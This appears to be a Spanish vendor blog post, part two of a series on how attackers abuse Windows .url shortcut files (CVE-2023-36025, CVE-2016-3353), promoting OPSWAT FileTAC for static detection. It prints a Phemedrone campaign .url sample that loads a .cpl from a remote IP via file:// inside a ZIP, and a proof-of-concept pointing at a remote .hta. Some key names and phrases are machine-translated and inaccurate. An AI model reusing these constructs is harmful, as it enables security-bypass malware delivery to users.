A medida que los ataques basados en archivos se vuelven cada vez más modulares y difíciles de detectar, suelen ser los archivos más sencillos —y no los más complejos— los que desencadenan las cadenas de malware más devastadoras. El archivo .url es un ejemplo de ello. Aunque su estructura es muy sencilla, los archivos URL se utilizan de formas cada vez más sofisticadas, lo que los convierte en un vector de amenaza habitual y subestimado.
Esta segunda parte de nuestra serie de tres artículos sobre el uso indebido de archivos URL se centra en las técnicas estáticas: qué es lo que los atacantes incrustan en los archivos URL y cómo los defensores pueden detectar las amenazas antes de que se ejecuten. Analizaremos los indicadores de compromiso (IOC), las estructuras de archivo habituales y los patrones históricos de uso indebido. Este artículo también destaca cómo FileTACOPSWAT, una plataforma de inspección estática en profundidad, ayuda a descubrir amenazas en estado latente, antes de que lleguen a activarse.
Archivos URL en contextos maliciosos
En los últimos dos años, los archivos URL han ido cobrando cada vez más protagonismo en las campañas de amenazas. Según informó Proofpoint, en octubre de 2023 se produjo un repunte de la actividad, en el que los autores de las amenazas distribuyeron primero el troyano DarkGate y, posteriormente, el RAT NetSupport a sus víctimas.
Más tarde, a mediados de enero, Trend Micro detectó una campaña activa que propagaba entre las víctimas una variante de un troyano de robo de información (stealer) denominado Phemedrone. En cada uno de estos casos se utilizaron secuencias de amenazas en varias fases, y los autores de las amenazas integraron archivos URL como componentes del ataque.
Según indican las fuentes, los archivos URL distribuidos en estos ataques tenían un objetivo concreto. Se utilizaron aprovechando la vulnerabilidad CVE-2023-36025, una falla de seguridad en Windows que permitía eludir SmartScreen —lo que, en la práctica, supone una evasión de la defensa al eludir los controles de seguridad—. Mediante el uso de archivos URL manipulados, los atacantes pueden desencadenar una cadena de descargas de archivos maliciosos sin despertar las sospechas de los usuarios con alertas de contenido no fiable.
Para comprenderlo mejor, conviene repasar el ejemplo del archivo básico de accesos directos de Internet:
[Atajo de Internet]URL=opswat
Tal y como se indica en la documentación no oficial, el prefijo de protocolo utilizado en el valor de la URL no se limita a http o https como prefijo remoto; se pueden especificar varios protocolos compatibles. Para ver un ejemplo de esto, podemos fijarnos en una muestra de la reciente campaña de distribución de Phemedrone: 69941417f26c207f7cbbbe36ce8b4d976640a3d7f407d316932428e427f1980b.
[{000214A0-0000-0000-C000-000000000046}]Prop3=19,9
[Atajo de Internet]IDList=URL=file://51.79.185[.]145/pdf/data1.zip/pdf1.cplIconIndex=13Tecla de acceso rápido=0 IconFile=C:\Archivos de programa (x86)\Microsoft\Edge\Application\msedge.exe
Este archivo URL malicioso utiliza el prefijo «file://» en la ruta, lo cual es significativo y está relacionado con la elusión de los controles de seguridad. Aclaremos los atributos importantes de esta URL:
- El prefijo es «file://», lo que suele indicar una referencia a una ruta de archivo accesible localmente.
- Sin embargo, la ruta a la que se hace referencia se encuentra en una ubicación de red, una dirección IP remota (no fiable).
- El destino de la ruta indicada es un archivo .cpl, es decir, un applet del Panel de control, que es un tipo de archivo ejecutable.
- La ruta al archivo .cpl que figura en la URL se encuentra dentro de un archivo ZIP, una estructura poco habitual que admite Windows para que el Explorador y otros componentes puedan tratar un archivo ZIP como si fuera parte de un directorio.
En conjunto, podemos apreciar el valor que tiene eludir una medida de seguridad como la CVE-2023-36025; la posibilidad de iniciar una cadena de ejecución de contenido malicioso a partir de un tipo de archivo directamente ejecutable, como un archivo .cpl (DLL), sin que ningún control molesto lo interrumpa o lo señale al usuario, resulta muy atractiva para los delincuentes.
El análisis estático y el papel de FileTAC
Aunque gran parte del comportamiento descrito anteriormente se hace evidente en tiempo de ejecución, muchos de los indicios reveladores de un uso indebido —como file:// uso, recorrido de archivos o ofuscación de rutas — son detectables mediante inspección estática. Aquí es donde OPSWAT destaca. FileTAC (File Triage, Analysis and Control) es la solución OPSWATpara llevar a cabo una inspección profunda y avanzada de archivos (DFI) a gran escala, desde cualquier punto de la red, a través del correo electrónico o mediante el envío manual de archivos.
FileTAC realiza un análisis estático en profundidad de los archivos sin ejecutarlos, lo que permite detectar:
- Anomalías en el protocolo y los metadatos
- Uso de IconFile, WorkingDirectory y otros campos con fines de ofuscación o movimiento lateral
- Análisis recursivo de contenidos (por ejemplo, archivos URL dentro de formatos ZIP, ISO o anidados)
- Detecciones de firmas de YARA para campañas y técnicas conocidas
- Correlación IOC mediante RetroHunt®, aplicando nuevas firmas a datos de archivos capturados anteriormente
Esta función permite a los administradores de seguridad detectar archivos URL maliciosos antes incluso de que los usuarios hagan doble clic en ellos.
El análisis de una muestra de archivo coincidente en FileTAC revela los siguientes datos, lo que proporciona información útil a los analistas que examinan el archivo:
Casos de uso históricos: una cronología de las técnicas de manipulación de URL con fines maliciosos
También cabe señalar que este ámbito concreto de técnicas ofensivas no se limita, por lo general, a estas campañas recientes, ni a la reciente vulnerabilidad que permite eludir las funciones de seguridad. Si echamos la vista atrás, observamos un periodo de varios años en el que se hacen evidentes diversos aspectos relacionados con el conjunto de funciones que rodean a los archivos URL y con la forma en que se aprovecha la superficie de ataque asociada.
CVE-2016-3353 – Vulnerabilidad que permite eludir una función de seguridad de Internet Explorer
Ya en 2016 salió a la luz otra vulnerabilidad que afectaba a Internet Explorer y que Microsoft solucionó con la actualización MS16-104. El aviso sobre CVE-2016-3353 no entra en muchos detalles, pero insinúa la importancia de los archivos URL en el escenario de explotación:
«En un escenario de ataque a través de la web, un atacante podría alojar un sitio web malicioso diseñado para aprovechar la vulnerabilidad que permite eludir la función de seguridad. Por otra parte, en un escenario de ataque por correo electrónico o mensajería instantánea, el atacante podría enviar al usuario afectado un archivo .url especialmente diseñado para aprovechar dicha vulnerabilidad».
Posteriormente, Quarkslab analizó esta vulnerabilidad y dejó claro que la naturaleza de esta elusión de la medida de seguridad tiene que ver con el manejo de archivos .url y el cumplimiento de la marca de la web (MOTW), lo que la sitúa en un terreno conocido en relación con el uso indebido de otras funciones y superficies susceptibles de eludir la MOTW, como los formatos de archivos contenedores objeto de abuso (IMG, ISO, VHD, VHDX, etc.).
La prueba de concepto realizada por los investigadores también muestra una notable similitud con el caso más reciente de CVE-2023-36025:
[{000214A0-0000-0000-C000-000000000046}]Prop3=19,9[Atajo de Internet]IDList=URL=file:///\\192.168.1[.]100\share\test.zip\ms16-104.hta
El archivo de la URL anterior comparte todas las características que hemos enumerado anteriormente para la muestra utilizada con fines maliciosos procedente de la reciente actividad de distribución de malware; el file:// un prefijo, un host remoto no fiable, el contenido de un archivo ejecutable e incluso la ruta de acceso dentro de un archivo ZIP.
Las ventajas de la detección de electricidad estática
Al detectar estos patrones maliciosos en estado inactivo —sin necesidad de ejecutarlos en un entorno aislado—, FileTAC reduce drásticamente el tiempo de detección y ofrece:
- Una resolución más rápida de los correos electrónicos infectados o de las vulnerabilidades en los dispositivos finales
- Una clasificación más segura de los contenidos sospechosos sin exponer a los analistas ni a los entornos de pruebas
- Análisis retrospectivo de datos históricos con fines forenses y de detección de amenazas
Archivos de acceso directo: una grave amenaza
Los archivos URL ya no son meras reliquias del pasado de Windows, sino que se han convertido en herramientas cada vez más esenciales en el proceso de distribución de malware y son utilizados por numerosos intermediarios de acceso inicial en el submundo del crimen. Mediante la manipulación de su estructura y el uso indebido de los comportamientos del sistema, los autores de amenazas utilizan archivos .url para eludir las defensas y cargar cargas útiles de segunda fase.
La inspección estática es una de las formas más eficaces de detectar estas amenazas de forma temprana, y FileTAC ofrece la precisión, la profundidad y la comprensión del contexto necesarias para lograrlo.
En la primera parte, sentamos las bases para entender los archivos URL como un tipo de elementos que facilitan las amenazas.
En la tercera parte, pasaremos a analizar el comportamiento: exploraremos cómo actúan los archivos URL en tiempo de ejecución y cómo MetaDefender pone de manifiesto su impacto real mediante el análisis dinámico y la observación completa del sistema.
